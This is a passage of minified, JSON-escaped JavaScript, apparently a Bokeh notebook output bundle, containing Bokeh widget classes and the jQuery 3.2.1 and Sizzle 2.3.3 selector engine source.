i.CDSView}]})},e.prototype.initialize=function(){t.prototype.initialize.call(this),null==this.view.source&&(this.view.source=this.source,this.view.compute_indices())},e}(r.Widget);(n.TableWidget=s).initClass()},440:function(e,t,n){var o=e(391),r=e(157),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-widget\\\")},t.prototype.render=function(){this._render_classes(),null!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),null!=this.model.width&&(this.el.style.width=this.model.width+\\\"px\\\")},t.prototype.get_width=function(){throw new Error(\\\"unused\\\")},t.prototype.get_height=function(){throw new Error(\\\"unused\\\")},t}(r.LayoutDOMView);n.WidgetView=i;var l=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"Widget\\\"},e}(r.LayoutDOM);(n.Widget=l).initClass()},441:function(e,n,t){\\n\",\n       \"      /*!\\n\",\n       \"           * jQuery JavaScript Library v3.2.1\\n\",\n       \"           * https://jquery.com/\\n\",\n       \"           *\\n\",\n       \"           * Includes Sizzle.js\\n\",\n       \"           * https://sizzlejs.com/\\n\",\n       \"           *\\n\",\n       \"           * Copyright JS Foundation and other contributors\\n\",\n       \"           * Released under the MIT license\\n\",\n       \"           * https://jquery.org/license\\n\",\n       \"           *\\n\",\n       \"           * Date: 2017-03-20T18:59Z\\n\",\n       \"           */\\n\",\n       \"      !function(e,t){\\\"use strict\\\";\\\"object\\\"==typeof n&&\\\"object\\\"==typeof n.exports?n.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\\\"jQuery requires a window with a document\\\");return t(e)}:t(e)}(\\\"undefined\\\"!=typeof window?window:this,function(R,e){\\\"use strict\\\";var t=[],S=R.document,o=Object.getPrototypeOf,s=t.slice,g=t.concat,a=t.push,r=t.indexOf,n={},i=n.toString,h=n.hasOwnProperty,l=h.toString,c=l.call(Object),m={};function v(e,t){var n=(t=t||S).createElement(\\\"script\\\");n.text=e,t.head.appendChild(n).parentNode.removeChild(n)}var E=function(e,t){return new E.fn.init(e,t)},u=/^[\\\\s\\\\uFEFF\\\\xA0]+|[\\\\s\\\\uFEFF\\\\xA0]+$/g,d=/^-ms-/,p=/-([a-z])/g,f=function(e,t){return t.toUpperCase()};function w(e){var t=!!e&&\\\"length\\\"in e&&e.length,n=E.type(e);return\\\"function\\\"!==n&&!E.isWindow(e)&&(\\\"array\\\"===n||0===t||\\\"number\\\"==typeof t&&0<t&&t-1 in e)}E.fn=E.prototype={jquery:\\\"3.2.1\\\",constructor:E,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=E.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return E.each(this,e)},map:function(n){return this.pushStack(E.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:a,sort:t.sort,splice:t.splice},E.extend=E.fn.extend=function(){var e,t,n,o,r,i,l=arguments[0]||{},s=1,a=arguments.length,c=!1;for(\\\"boolean\\\"==typeof l&&(c=l,l=arguments[s]||{},s++),\\\"object\\\"==typeof l||E.isFunction(l)||(l={}),s===a&&(l=this,s--);s<a;s++)if(null!=(e=arguments[s]))for(t in e)n=l[t],o=e[t],l!==o&&(c&&o&&(E.isPlainObject(o)||(r=Array.isArray(o)))?(r?(r=!1,i=n&&Array.isArray(n)?n:[]):i=n&&E.isPlainObject(n)?n:{},l[t]=E.extend(c,i,o)):void 0!==o&&(l[t]=o));return l},E.extend({expando:\\\"jQuery\\\"+(\\\"3.2.1\\\"+Math.random()).replace(/\\\\D/g,\\\"\\\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return\\\"function\\\"===E.type(e)},isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){var t=E.type(e);return(\\\"number\\\"===t||\\\"string\\\"===t)&&!isNaN(e-parseFloat(e))},isPlainObject:function(e){var t,n;return!(!e||\\\"[object Object]\\\"!==i.call(e))&&(!(t=o(e))||\\\"function\\\"==typeof(n=h.call(t,\\\"constructor\\\")&&t.constructor)&&l.call(n)===c)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},type:function(e){return null==e?e+\\\"\\\":\\\"object\\\"==typeof e||\\\"function\\\"==typeof e?n[i.call(e)]||\\\"object\\\":typeof e},globalEval:function(e){v(e)},camelCase:function(e){return e.replace(d,\\\"ms-\\\").replace(p,f)},each:function(e,t){var n,o=0;if(w(e))for(n=e.length;o<n&&!1!==t.call(e[o],o,e[o]);o++);else for(o in e)if(!1===t.call(e[o],o,e[o]))break;return e},trim:function(e){return null==e?\\\"\\\":(e+\\\"\\\").replace(u,\\\"\\\")},makeArray:function(e,t){var n=t||[];return null!=e&&(w(Object(e))?E.merge(n,\\\"string\\\"==typeof e?[e]:e):a.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:r.call(t,e,n)},merge:function(e,t){for(var n=+t.length,o=0,r=e.length;o<n;o++)e[r++]=t[o];return e.length=r,e},grep:function(e,t,n){for(var o=[],r=0,i=e.length,l=!n;r<i;r++)!t(e[r],r)!==l&&o.push(e[r]);return o},map:function(e,t,n){var o,r,i=0,l=[];if(w(e))for(o=e.length;i<o;i++)null!=(r=t(e[i],i,n))&&l.push(r);else for(i in e)null!=(r=t(e[i],i,n))&&l.push(r);return g.apply([],l)},guid:1,proxy:function(e,t){var n,o,r;if(\\\"string\\\"==typeof t&&(n=e[t],t=e,e=n),E.isFunction(e))return o=s.call(arguments,2),(r=function(){return e.apply(t||this,o.concat(s.call(arguments)))}).guid=e.guid=e.guid||E.guid++,r},now:Date.now,support:m}),\\\"function\\\"==typeof Symbol&&(E.fn[Symbol.iterator]=t[Symbol.iterator]),E.each(\\\"Boolean Number String Function Array Date RegExp Object Error Symbol\\\".split(\\\" \\\"),function(e,t){n[\\\"[object \\\"+t+\\\"]\\\"]=t.toLowerCase()});var y=\\n\",\n       \"      /*!\\n\",\n       \"               * Sizzle CSS Selector Engine v2.3.3\\n\",\n       \"               * https://sizzlejs.com/\\n\",\n       \"               *\\n\",\n       \"               * Copyright jQuery Foundation and other contributors\\n\",\n       \"               * Released under the MIT license\\n\",\n       \"               * http://jquery.org/license\\n\",\n       \"               *\\n\",\n       \"               * Date: 2016-08-08\\n\",\n       \"               */\\n\",\n       \"      function(n){var e,f,C,i,r,h,d,g,b,a,c,x,R,l,S,m,s,u,v,E=\\\"sizzle\\\"+1*new Date,w=n.document,k=0,o=0,p=le(),y=le(),T=le(),P=function(e,t){return e===t&&(c=!0),0},D={}.hasOwnProperty,t=[],A=t.pop,N=t.push,$=t.push,H=t.slice,L=function(e,t){for(var n=0,o=e.length;n<o;n++)if(e[n]===t)return n;return-1},F=\\\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\\\",_=\\\"[\\\\\\\\x20\\\\\\\\t\\\\\\\\r\\\\\\\\n\\\\\\\\f]\\\",I=\\\"(?:\\\\\\\\\\\\\\\\.|[\\\\\\\\w-]|[^\\\\0-\\\\\\\\xa0])+\\\",M=\\\"\\\\\\\\[\\\"+_+\\\"*(\\\"+I+\\\")(?:\\\"+_+\\\"*([*^$|!~]?=)\\\"+_+\\\"*(?:'((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\'])*)'|\\\\\\\"((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\\\\\\\\"])*)\\\\\\\"|(\\\"+I+\\\"))|)\\\"+_+\\\"*\\\\\\\\]\\\",W=\\\":(\\\"+I+\\\")(?:\\\\\\\\((('((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\'])*)'|\\\\\\\"((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\\\\\\\\"])*)\\\\\\\")|((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\()[\\\\\\\\]]|\\\"+M+\\\")*)|.*)\\\\\\\\)|)\\\",j=new RegExp(_+\\\"+\\\",\\\"g\\\"),V=new RegExp(\\\"^\\\"+_+\\\"+|((?:^|[^\\\\\\\\\\\\\\\\])(?:\\\\\\\\\\\\\\\\.)*)\\\"+_+\\\"+$\\\",\\\"g\\\"),B=new RegExp(\\\"^\\\"+_+\\\"*,\\\"+_+\\\"*\\\"),q=new RegExp(\\\"^\\\"+_+\\\"*([>+~]|\\\"+_+\\\")\\\"+_+\\\"*\\\"),O=new RegExp(\\\"=\\\"+_+\\\"*([^\\\\\\\\]'\\\\\\\"]*?)\\\"+_+\\\"*\\\\\\\\]\\\",\\\"g\\\"),z=new RegExp(W),X=new RegExp(\\\"^\\\"+I+\\\"$\\\"),U={ID:new RegExp(\\\"^#(\\\"+I+\\\")\\\"),CLASS:new RegExp(\\\"^\\\\\\\\.(\\\"+I+\\\")\\\"),TAG:new RegExp(\\\"^(\\\"+I+\\\"|[*])\\\"),ATTR:new RegExp(\\\"^\\\"+M),PSEUDO:new RegExp(\\\"^\\\"+W),CHILD:new RegExp(\\\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\\\\\(\\\"+_+\\\"*(even|odd|(([+-]|)(\\\\\\\\d*)n|)\\\"+_+\\\"*(?:([+-]|)\\\"+_+\\\"*(\\\\\\\\d+)|))\\\"+_+\\\"*\\\\\\\\)|)\\\",\\\"i\\\"),bool:new RegExp(\\\"^(?:\\\"+F+\\\")$\\\",\\\"i\\\"),needsContext:new RegExp(\\\"^\\\"+_+\\\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\\\\\(\\\"+_+\\\"*((?:-\\\\\\\\d)?\\\\\\\\d*)\\\"+_+\\\"*\\\\\\\\)|)(?=[^-]|$)\\\",\\\"i\\\")},K=/^(?:input|select|textarea|button)$/i,G=/^h\\\\d$/i,Y=/^[^{]+\\\\{\\\\s*\\\\[native \\\\w/,Q=/^(?:#([\\\\w-]+)|(\\\\w+)|\\\\.([\\\\w-]+))$/,J=/[+~]/,Z=new RegExp(\\\"\\\\\\\\\\\\\\\\([\\\\\\\\da-f]{1,6}\\\"+_+\\\"?|(\\\"+_+\\\")|.)\\\",\\\"ig\\\"),ee=function(e,t,n){var o=\\\"0x\\\"+t-65536;return o!=o||n?t:o<0?String.fromCharCode(o+65536):String.fromCharCode(o>>10|55296,1023&o|56320)},te=/([\\\\0-\\\\x1f\\\\x7f]|^-?\\\\d)|^-$|[^\\\\0-\\\\x1f\\\\x7f-\\\\uFFFF\\\\w-]/g,ne=function(e,t){return t?\\\"\\\\0\\\"===e?\\\"ï¿½\\\":e.slice(0,-1)+\\\"\\\\\\\\\\\"+e.charCodeAt(e.length-1).toString(16)+\\\" \\\":\\\"\\\\\\\\\\\"+e},oe=function(){x()},re=we(function(e){return!0===e.disabled&&(\\\"form\\\"in e||\\\"label\\\"in e)},{dir:\\\"parentNode\\\",next:\\\"legend\\\"});try{$.apply(t=H.call(w.childNodes),w.childNodes),t[w.childNodes.length].nodeType}catch(e){$={apply:t.length?function(e,t){N.apply(e,H.call(t))}:function(e,t){for(var n=e.length,o=0;e[n++]=t[o++];);e.length=n-1}}}function ie(e,t,n,o){var r,i,l,s,a,c,u,d=t&&t.ownerDocument,p=t?t.nodeType:9;if(n=n||[],\\\"string\\\"!=typeof e||!e||1!==p&&9!==p&&11!==p)return n;if(!o&&((t?t.ownerDocument||t:w)!==R&&x(t),t=t||R,S)){if(11!==p&&(a=Q.exec(e)))if(r=a[1]){if(9===p){if(!(l=t.getElementById(r)))return n;if(l.id===r)return n.push(l),n}else if(d&&(l=d.getElementById(r))&&v(t,l)&&l.id===r)return n.push(l),n}else{if(a[2])return $.apply(n,t.getElementsByTagName(e)),n;if((r=a[3])&&f.getElementsByClassName&&t.getElementsByClassName)return $.apply(n,t.getElementsByClassName(r)),n}if(f.qsa&&!T[e+\\\" \\\"]&&(!m||!m.test(e))){if(1!==p)d=t,u=e;else if(\\\"object\\\"!==t.nodeName.toLowerCase()){for((s=t.getAttribute(\\\"id\\\"))?s=s.replace(te,ne):t.setAttribute(\\\"id\\\",s=E),c=h(e),i=c.length;i--;)c[i]=\\\"#\\\"+s+\\\" \\\"+ve(c[i]);u=c.join(\\\",\\\"),d=J.test(e)&&ge(t.parentNode)||t}if(u)try{return $.apply(n,d.querySelectorAll(u)),n}catch(e){}finally{s===E&&t.removeAttribute(\\\"id\\\")}}}return g(e.replace(V,\\\"$1\\\"),t,n,o)}function le(){var o=[];return function e(t,n){o.push(t+\\\" \\\")>C.cacheLength&&delete e[o.shift()];return e[t+\\\" \\\"]=n}}function se(e){return e[E]=!0,e}function ae(e){var t=R.createElement(\\\"fieldset\\\");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ce(e,t){for(var n=e.split(\\\"|\\\"),o=n.length;o--;)C.attrHandle[n[o]]=t}function ue(e,t){var n=t&&e,o=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(o)return o;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function de(n){return function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&e.type===n}}function pe(n){return function(e){var t=e.nodeName.toLowerCase();return(\\\"input\\\"===t||\\\"button\\\"===t)&&e.type===n}}function fe(t){return function(e){return\\\"form\\\"in e?e.parentNode&&!1===e.disabled?\\\"label\\\"in e?\\\"label\\\"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&re(e)===t:e.disabled===t:\\\"label\\\"in e&&e.disabled===t}}function he(l){return se(function(i){return i=+i,se(function(e,t){for(var n,o=l([],e.length,i),r=o.length;r--;)e[n=o[r]]&&(e[n]=!(t[n]=e[n]))})})}function ge(e){return e&&void 0!==e.getElementsByTagName&&e}for(e in f=ie.support={},r=ie.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&\\\"HTML\\\"!==t.nodeName},x=ie.setDocument=function(e){var t,n,o=e?e.ownerDocument||e:w;return o!==R&&9===o.nodeType&&o.documentElement&&(l=(R=o).documentElement,S=!r(R),w!==R&&(n=R.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener(\\\"unload\\\",oe,!1):n.attachEvent&&n.attachEvent(\\\"onunload\\\",oe)),f.attributes=ae(function(e){return e.className=\\\"i\\\",!e.getAttribute(\\\"className\\\")}),f.getElementsByTagName=ae(function(e){return e.appendChild(R.createComment(\\\"\\\")),!e.getElementsByTagName(\\\"*\\\").length}),f.getElementsByClassName=Y.test(R.getElementsByClassName),f.getById=ae(function(e){return l.appendChild(e).id=E,!R.getElementsByName||!R.getElementsByName(E).length}),f.getById?(C.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute(\\\"id\\\")===t}},C.find.ID=function(e,t){if(void 0!==t.getElementById&&S){var n=t.getElementById(e);return n?[n]:[]}}):(C.filter.ID=function(e){var n=e.replace(Z,ee);return function(e){var t=void 0!==e.getAttributeNode&&e.getAttributeNode(\\\"id\\\");return t&&t.value===n}},C.find.ID=function(e,t){if(void 0!==t.getElementById&&S){var n,o,r,i=t.getElementById(e);if(i){if((n=i.getAttributeNode(\\\"id\\\"))&&n.value===e)return[i];for(r=t.getElementsByName(e),o=0;i=r[o++];)if((n=i.getAttributeNode(\\\"id\\\"))&&n.value===e)return[i]}return[]}}),C.find.TAG=f.getElementsByTagName?function(e,t){return void 0!==t.getElementsByTagName?t.getElementsByTagName(e):f.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,o=[],r=0,i=t.getElementsByTagName(e);if(\\\"*\\\"===e){for(;n=i[r++];)1===n.nodeType&&o.push(n);return o}return i},C.find.CLASS=f.getElementsByClassName&&function(e,t){if(void 0!==t.getElementsByClassName&&S)return t.getElementsByClassName(e)},s=[],m=[],(f.qsa=Y.test(R.querySelectorAll))&&(ae(function(e){l.appendChild(e).innerHTML=\\\"<a id='\\\"+E+\\\"'></a><select id='\\\"+E+\\\"-\\\\r\\\\\\\\' msallowcapture=''><option selected=''></option></select>\\\",e.querySelectorAll(\\\"[msallowcapture^='']\\\").length&&m.push(\\\"[*^$]=\\\"+_+\\\"*(?:''|\\\\\\\"\\\\\\\")\\\"),e.querySelectorAll(\\\"[selected]\\\").length||m.push(\\\"\\\\\\\\[\\\"+_+\\\"*(?:value|\\\"+F+\\\")\\\"),e.querySelectorAll(\\\"[id~=\\\"+E+\\\"-]\\\").length||m.push(\\\"~=\\\"),e.querySelectorAll(\\\":checked\\\").length||m.push(\\\":checked\\\"),e.querySelectorAll(\\\"a#\\\"+E+\\\"+*\\\").length||m.push(\\\".#.+[+~]\\\")}),ae(function(e){e.innerHTML=\\\"<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>\\\";var t=R.createElement(\\\"input\\\");t.setAttribute(\\\"type\\\",\\\"hidden\\\"),e.appendChild(t).setAttribute(\\\"name\\\",\\\"D\\\"),e.querySelectorAll(\\\"[name=d]\\\").length&&m.push(\\\"name\\\"+_+\\\"*[*^$|!~]?=\\\"),2!==e.querySelectorAll(\\\":enabled\\\").length&&m.push(\\\":enabled\\\",\\\":disabled\\\"),l.appendChild(e).disabled=!0,2!==e.querySelectorAll(\\\":disabled\\\").length&&m.push(\\\":enabled\\\",\\\":disabled\\\"),e.querySelectorAll(\\\"*,:x\\\"),m.push(\\\",.*:\\\")})),(f.matchesSelector=Y.test(u=l.matches||l.webkitMatchesSelector||l.mozMatchesSelector||l.oMatchesSelector||l.msMatchesSelector))&&ae(function(e){f.disconnectedMatch=u.call(e,\\\"*\\\"),u.call(e,\\\"[s!='']:x\\\"),s.push(\\\"!=\\\",W)}),m=m.length&&new RegExp(m.join(\\\"|\\\")),s=s.length&&new RegExp(s.join(\\\"|\\\")),t=Y.test(l.compareDocumentPosition),v=t||Y.test(l.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,o=t&&t.parentNode;return e===o||!(!o||1!==o.nodeType||!(n.contains?n.contains(o):e.compareDocumentPosition&&16&e.compareDocumentPosition(o)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},P=t?function(e,t){if(e===t)return c=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!f.sortDetached&&t.compareDocumentPosition(e)===n?e===R||e.ownerDocument===w&&v(w,e)?-1:t===R||t.ownerDocument===w&&v(w,t)?1:a?L(a,e)-L(a,t):0:4&n?-1:1)}:function(e,t){if(e===t)return c=!0,0;var n,o=0,r=e.parentNode,i=t.parentNode,l=[e],s=[t];if(!r||!i)return e===R?-1:t===R?1:r?-1:i?1:a?L(a,e)-L(a,t):0;if(r===i)return ue(e,t);for(n=e;n=n.parentNode;)l.unshift(n);for(n=t;n=n.parentNode;)s.unshift(n);for(;l[o]===s[o];)o++;return o?ue(l[o],s[o]):l[o]===w?-1:s[o]===w?1:0}),R},ie.matches=function(e,t){return ie(e,null,null,t)},ie.matchesSelector=function(e,t){if((e.ownerDocument||e)!==R&&x(e),t=t.replace(O,\\\"='$1']\\\"),f.matchesSelector&&S&&!T[t+\\\" \\\"]&&(!s||!s.test(t))&&(!m||!m.test(t)))try{var n=u.call(e,t);if(n||f.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){}return 0<ie(t,R,null,[e]).length},ie.contains=function(e,t){return(e.ownerDocument||e)!==R&&x(e),v(e,t)},ie.attr=function(e,t){(e.ownerDocument||e)!==R&&x(e);var n=C.attrHandle[t.toLowerCase()],o=n&&D.call(C.attrHandle,t.toLowerCase())?n(e,t,!S):void 0;return void 0!==o?o:f.attributes||!S?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},ie.escape=function(e){return(e+\\\"\\\").replace(te,ne)},ie.error=function(e){throw new Error(\\\"Syntax error, unrecognized expression: \\\"+e)},ie.uniqueSort=function(e){var t,n=[],o=0,r=0;if(c=!f.detectDuplicates,a=!f.sortStable&&e.slice(0),e.sort(P),c){for(;t=e[r++];)t===e[r]&&(o=n.push(r));for(;o--;)e.splice(n[o],1)}return a=null,e},i=ie.getText=function(e){var t,n=\\\"\\\",o=0,r=e.nodeType;if(r){if(1===r||9===r||11===r){if(\\\"string\\\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===r||4===r)return e.nodeValue}else for(;t=e[o++];)n+=i(t);return n},(C=ie.selectors={cacheLength:50,createPseudo:se,match:U,attrHandle:{},find:{},relative:{\\\">\\\":{dir:\\\"parentNode\\\",first:!0},\\\" \\\":{dir:\\\"parentNode\\\"},\\\"+\\\":{dir:\\\"previousSibling\\\",first:!0},\\\"~\\\":{dir:\\\"previousSibling\\\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||\\\"\\\").replace(Z,ee),\\\"~=\\\"===e[2]&&(e[3]=\\\" \\\"+e[3]+\\\" \\\"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\\\"nth\\\"===e[1].slice(0,3)?(e[3]||ie.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\\\"even\\\"===e[3]||\\\"odd\\\"===e[3])),e[5]=+(e[7]+e[8]||\\\"odd\\\"===e[3])):e[3]&&ie.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return U.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||\\\"\\\":n&&z.test(n)&&(t=h(n,!0))&&(t=n.indexOf(\\\")\\\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return\\\"*\\\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=p[e+\\\" \\\"];return t||(t=new RegExp(\\\"(^|\\\"+_+\\\")\\\"+e+\\\"(\\\"+_+\\\"|$)\\\"))&&p(e,function(e){return t.test(\\\"string\\\"==typeof e.className&&e.className||void 0!==e.getAttribute&&e.getAttribute(\\\"class\\\")||\\\"\\\")})},ATTR:function(n,o,r){return function(e){var t=ie.attr(e,n);return null==t?\\\"!=\\\"===o:!o||(t+=\\\"\\\",\\\"=\\\"===o?t===r:\\\"!=\\\"===o?t!==r:\\\"^=\\\"===o?r&&0===t.indexOf(r):\\\"*=\\\"===o?r&&-1<t.indexOf(r):\\\"$=\\\"===o?r&&t.slice(-r.length)===r:\\\"~=\\\"===o?-1<(\\\" \\\"+t.replace(j,\\\" \\\")+\\\" \\\").indexOf(r):\\\"|=\\\"===o&&(t===r||t.slice(0,r.length+1)===r+\\\"-\\\"))}},CHILD:function(h,e,t,g,m){var v=\\\"nth\\\"!==h.slice(0,3),w=\\\"last\\\"!==h.slice(-4),y=\\\"of-type\\\"===e;return 1===g&&0===m?function(e){return!!e.parentNode}:function(e,t,n){var o,r,i,l,s,a,c=v!==w?\\\"nextSibling\\\":\\\"previousSibling\\\",u=e.parentNode,d=y&&e.nodeName.toLowerCase(),p=!n&&!y,f=!1;if(u){if(v){for(;c;){for(l=e;l=l[c];)if(y?l.nodeName.toLowerCase()===d:1===l.nodeType)return!1;a=c=\\\"only\\\"===h&&!a&&\\\"nextSibling\\\"}return!0}if(a=[w?u.firstChild:u.lastChild],w&&p){for(i=(l=u)[E]||(l[E]={}),r=i[l.uniqueID]||(i[l.uniqueID]={}),o=r[h]||[],s=o[0]===k&&o[1],f=s&&o[2],l=s&&u.childNodes[s];l=++s&&l&&l[c]||(f=s=0)||a.pop();)if(1===l.nodeType&&++f&&l===e){r[h]=[k,s,f];break}}else if(p&&(i=(l=e)[E]||(l[E]={}),r=i[l.uniqueID]||(i[l.uniqueID]={}),o=r[h]||[],s=o[0]===k&&o[1],f=s),!1===f)for(;(l=++s&&l&&l[c]||(f=s=0)||a.pop())&&((y?l.nodeName.toLowerCase()!==d:1!==l.nodeType)||!++f||(p&&(i=l[E]||(l[E]={}),(r=i[l.uniqueID]||(i[l.uniqueID]={}))[h]=[k,f]),l!==e)););return(f-=m)===g||f%g==0&&0<=f/g}}},PSEUDO:function(e,i){var t,l=C.pseudos[e]||C.setFilters[e.toLowerCase()]||ie.error(\\\"unsupported pseudo: \\\"+e);return l[E]?l(i):1<l.length?(t=[e,e,\\\"\\\",i],C.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,t){for(var n,o=l(e,i),r=o.length;r--;)n=L(e,o[r]),e[n]=!(t[n]=o[r])}):function(e){return l(e,0,t)}):l}},pseudos:{not:se(function(e){var o=[],r=[],s=d(e.replace(V,\\\"$1\\\"));return s[E]?se(function(e,t,n,o){for(var r,i=s(e,null,o,[]),l=e.length;l--;)(r=i[l])&&(e[l]=!(t[l]=r))}):function(e,t,n){return o[0]=e,s(o,null,n,r),o[0]=null,!r.pop()}}),has:se(function(t){return function(e){return 0<ie(t,e).length}}),contains:se(function(t){return t=t.replace(Z,ee),function(e){return-1<(e.textContent||e.innerText||i(e)).indexOf(t)}}),lang:se(function(n){return X.test(n||\\\"\\\")||ie.error(\\\"unsupported lang: \\\"+n),n=n.replace(Z,ee).toLowerCase(),function(e){var t;do{if(t=S?e.lang:e.getAttribute(\\\"xml:lang\\\")||e.getAttribute(\\\"lang\\\"))return(t=t.toLowerCase())===n||0===t.indexOf(n+\\\"-\\\")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===l},focus:function(e){return e===R.activeElement&&(!R.hasFocus||R.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:fe(!1),disabled:fe(!0),checked:function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&!!e.checked||\\\"option\\\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!C.pseudos.empty(e)},header:function(e){return G.test(e.nodeName)},input:function(e){return K.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&\\\"button\\\"===e.type||\\\"button\\\"===t},text:function(e){var t;return\\\"input\\\"===e.nodeName.toLowerCase()&&\\\"text\\\"===e.type&&(null==(t=e.getAttribute(\\\"type\\\"))||\\\"text\\\"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var o=n<0?n+t:n;0<=--o;)e.push(o);return e}),gt:he(function(e,t,n){for(var o=n<0?n+t:n;++o<t;)e.push(o);return e})}}).pseudos.nth=C.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})C.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})C.pseudos[e]=pe(e);function me(){}function ve(e){for(var t=0,n=e.length,o=\\\"\\\";t<n;t++)o+=e[t].value;return o}function we(s,e,t){var a=e.dir,c=e.next,u=c||a,d=t&&\\\"parentNode\\\"===u,p=o++;return e.first?function(e,t,n){for(;e=e[a];)if(1===e.nodeType||d)return s(e,t,n);return!1}:function(e,t,n){var o,r,i,l=[k,p];if(n){for(;e=e[a];)if((1===e.nodeType||d)&&s(e,t,n))return!0}else for(;e=e[a];)if(1===e.nodeType||d)if(i=e[E]||(e[E]={}),r=i[e.uniqueID]||(i[e.uniqueID]={}),c&&c===e.nodeName.toLowerCase())e=e[a]||e;else{if((o=r[u])&&o[0]===k&&o[1]===p)return l[2]=o[2];if((r[u]=l)[2]=s(e,t,n))return!0}return!1}}function ye(r){return 1<r.length?function(e,t,n){for(var o=r.length;o--;)if(!r[o](e,t,n))return!1;return!0}:r[0]}function Ce(e,t,n,o,r){for(var i,l=[],s=0,a=e.length,c=null!=t;s<a;s++)(i=e[s])&&(n&&!n(i,o,r)||(l.push(i),c&&t.push(s)));return l}function be(f,h,g,m,v,e){return m&&!m[E]&&(m=be(m)),v&&!v[E]&&(v=be(v,e)),se(function(e,t,n,o){var r,i,l,s=[],a=[],c=t.length,u=e||function(e,t,n){for(var o=0,r=t.length;o<r;o++)ie(e,t[o],n);return n}(h||\\\"*\\\",n.nodeType?[n]:n,[]),d=!f||!e&&h?u:Ce(u,s,f,n,o),p=g?v||(e?f:c||m)?[]:t:d;if(g&&g(d,p,n,o),m)for(r=Ce(p,a),m(r,[],n,o),i=r.length;i--;)(l=r[i])&&(p[a[i]]=!(d[a[i]]=l));if(e){if(v||f){if(v){for(r=[],i=p.length;i--;)(l=p[i])&&r.push(d[i]=l);v(null,p=[],r,o)}for(i=p.length;i--;)(l=p[i])&&-1<(r=v?L(e,l):s[i])&&(e[r]=!(t[r]=l))}}else p=Ce(p===t?p.splice(c,p.length):p),v?v(null,t,p,o):$.apply(t,p)})}function xe(e){for(var r,t,n,o=e.length,i=C.relative[e[0].type],l=i||C.relative[\\\" \\\"],s=i?1:0,a=we(function(e){return e===r},l,!0),c=we(function(e){return-1<L(r,e)},l,!0),u=[function(e,t,n){var 